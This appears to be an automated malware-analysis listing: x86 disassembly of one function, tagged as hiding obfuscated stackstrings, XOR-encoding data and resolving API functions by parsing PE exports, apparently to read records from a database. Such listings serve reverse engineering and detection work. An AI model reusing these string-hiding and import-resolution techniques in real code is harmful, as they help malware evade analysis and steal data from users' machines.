Function at 0x414cce
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x118
push ebx
push ebp
push esi
push edi
mov edi, edx
mov dword [esp + 0x70], ecx
call fcn.00419bf5
mov esi, eax
test esi, esi
je 0x4150c5
xor ebx, ebx
mov dword [esp + 0x34], 0x8299924b
mov dword [esp + 0x38], 0x89879296
mov ecx, ebx
mov dword [esp + 0x3c], 0x9954998b
mov edx, 0xff
mov dword [esp + 0x40], 0x9a8f9297
mov byte [esp + 0x44], 0x8b
movzx eax, byte [esp + ecx + 0x34]
sub ax, 0x26
and ax, dx
mov word [esp + ecx*2 + 0xdc], ax
inc ecx
cmp ecx, 0x11
jl 0x414d1b
xor eax, eax
mov word [esp + 0xfe], ax
lea eax, [esp + 0xdc]
push edi
push eax
call fcn.0041b73a
mov edi, eax
mov dword [esp + 0x70], edi
pop ecx
pop ecx
test edi, edi
je 0x4150c5
mov ecx, edi
call fcn.0041b794
mov ebp, eax
test ebp, ebp
je 0x4150be
xor edx, edx
mov ecx, ebp
call fcn.0041ba00
mov dword [esp + 0x74], eax
test eax, eax
je 0x4150a7
push ebx
push 1
lea ecx, [esp + 0x74]
push ecx
push eax
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x415095
mov dword [esp + 0x14], 0x7e888360
mov ecx, ebx
mov dword [esp + 0x18], 0x7d7f813a
mov dword [esp + 0x1c], 0x823a8985
mov dword [esp + 0x20], 0x898e8d83
mov dword [esp + 0x24], 0x7e3a938c
mov dword [esp + 0x28], 0x863f3a7c
mov word [esp + 0x2c], 0x248d
mov al, byte [esp + ecx + 0x14]
sub al, 0x1a
mov byte [esp + ecx + 0x9c], al
inc ecx
cmp ecx, 0x1a
jl 0x414dd3
mov byte [esp + 0xb6], bl
mov ecx, ebx
mov dword [esp + 0x34], 0x343b3442
mov dword [esp + 0x38], 0x630f4332
mov dword [esp + 0x3c], 0x545b6358
mov dword [esp + 0x40], 0x61640f1b
mov dword [esp + 0x44], 0x41350f5b
mov dword [esp + 0x48], 0x5c0f3c3e
mov dword [esp + 0x4c], 0x5f4e695e
mov dword [esp + 0x50], 0x5452505b
mov byte [esp + 0x54], 0x62
mov al, byte [esp + ecx + 0x34]
add al, 0x11
mov byte [esp + ecx + 0xb8], al
inc ecx
cmp ecx, 0x21
jl 0x414e34
lea eax, [esp + 0x9c]
mov byte [esp + 0xd9], bl
push edi
push eax
call fcn.004125f4
push ebx
lea eax, [esp + 0x3c]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0xcc]
push eax
push dword [esp + 0x84]
call dword [esi + 8]
add esp, 0x1c
test eax, eax
jne 0x41508d
push dword [esp + 0x30]
lea edi, [esp + 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
push 7
pop edi
cmp eax, 0x64
jne 0x414fea
mov dword [esp + 0x58], 0x8c948974
mov word [esp + 0x5c], 0x5a85
mov byte [esp + 0x5e], 0x40
mov dword [esp + 0x60], 0x32154a4d
mov word [esp + 0x64], 0x7a2c
mov byte [esp + 0x66], 0x60
mov ecx, ebx
mov al, byte [esp + ecx + 0x58]
sub al, 0x20
mov byte [esp + ecx + 0x78], al
inc ecx
cmp ecx, edi
jl 0x414ec6
mov byte [esp + 0x7f], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x60]
xor al, 0x40
mov byte [esp + ecx + 0x80], al
inc ecx
cmp ecx, edi
jl 0x414edb
mov byte [esp + 0x87], bl
mov ecx, ebx
mov dword [esp + 0x14], 0x33330003
mov dword [esp + 0x18], 0x33333333
mov dword [esp + 0x1c], 0x33333333
mov dword [esp + 0x20], 0x33333333
mov word [esp + 0x24], 0x333
mov byte [esp + 0x26], bl
mov al, byte [esp + ecx + 0x14]
add al, 0xa
mov byte [esp + ecx + 0x88], al
inc ecx
cmp ecx, 0x13
jl 0x414f21
lea eax, [esp + 0x78]
mov byte [esp + 0x9b], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x7c]
lea ecx, [esp + 0x38]
call fcn.0041b87d
pop ecx
push ebx
push dword [esp + 0x34]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x38]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x38]
call fcn.0041b9d8
pop ecx
lea eax, [esp + 0x80]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x84]
lea ecx, [esp + 0x38]
call fcn.0041b87d
pop ecx
push 1
push dword [esp + 0x34]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x38]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x38]
call fcn.0041b9d8
pop ecx
lea eax, [esp + 0x88]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x8c]
lea ecx, [esp + 0x38]
call fcn.0041b87d
pop ecx
push dword [esp + 0x30]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x414ec4
cmp dword [esp + 0x34], ebx
je 0x415089
mov dword [esp + 0x14], 0x6d6c6241
mov ecx, 0xff
mov dword [esp + 0x18], 0x28726b68
mov dword [esp + 0x1c], 0x586c651e
mov dword [esp + 0x20], 0x276c651e
mov word [esp + 0x24], 0x716d
mov byte [esp + 0x26], 0x6d
movzx eax, byte [esp + ebx + 0x14]
add ax, di
and ax, cx
mov word [esp + ebx*2 + 0x100], ax
inc ebx
cmp ebx, 0x13
jl 0x415025
push dword [esp + 0x12c]
xor eax, eax
push dword [esp + 0x74]
mov word [esp + 0x12e], ax
lea eax, [esp + 0x108]
push eax
call fcn.0041b73a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x41507f
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x34]
push edi
call fcn.00418be5
pop ecx
push edi
call fcn.004056f0
pop ecx
push dword [esp + 0x34]
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0x68]
push dword [esp + 0x30]
call dword [esi + 0x18]
pop ecx
push dword [esp + 0x6c]
call dword [esi + 0x1c]
pop ecx
push dword [esp + 0x74]
call fcn.004056f0
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call fcn.00412ca7
call eax
push ebp
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x118
ret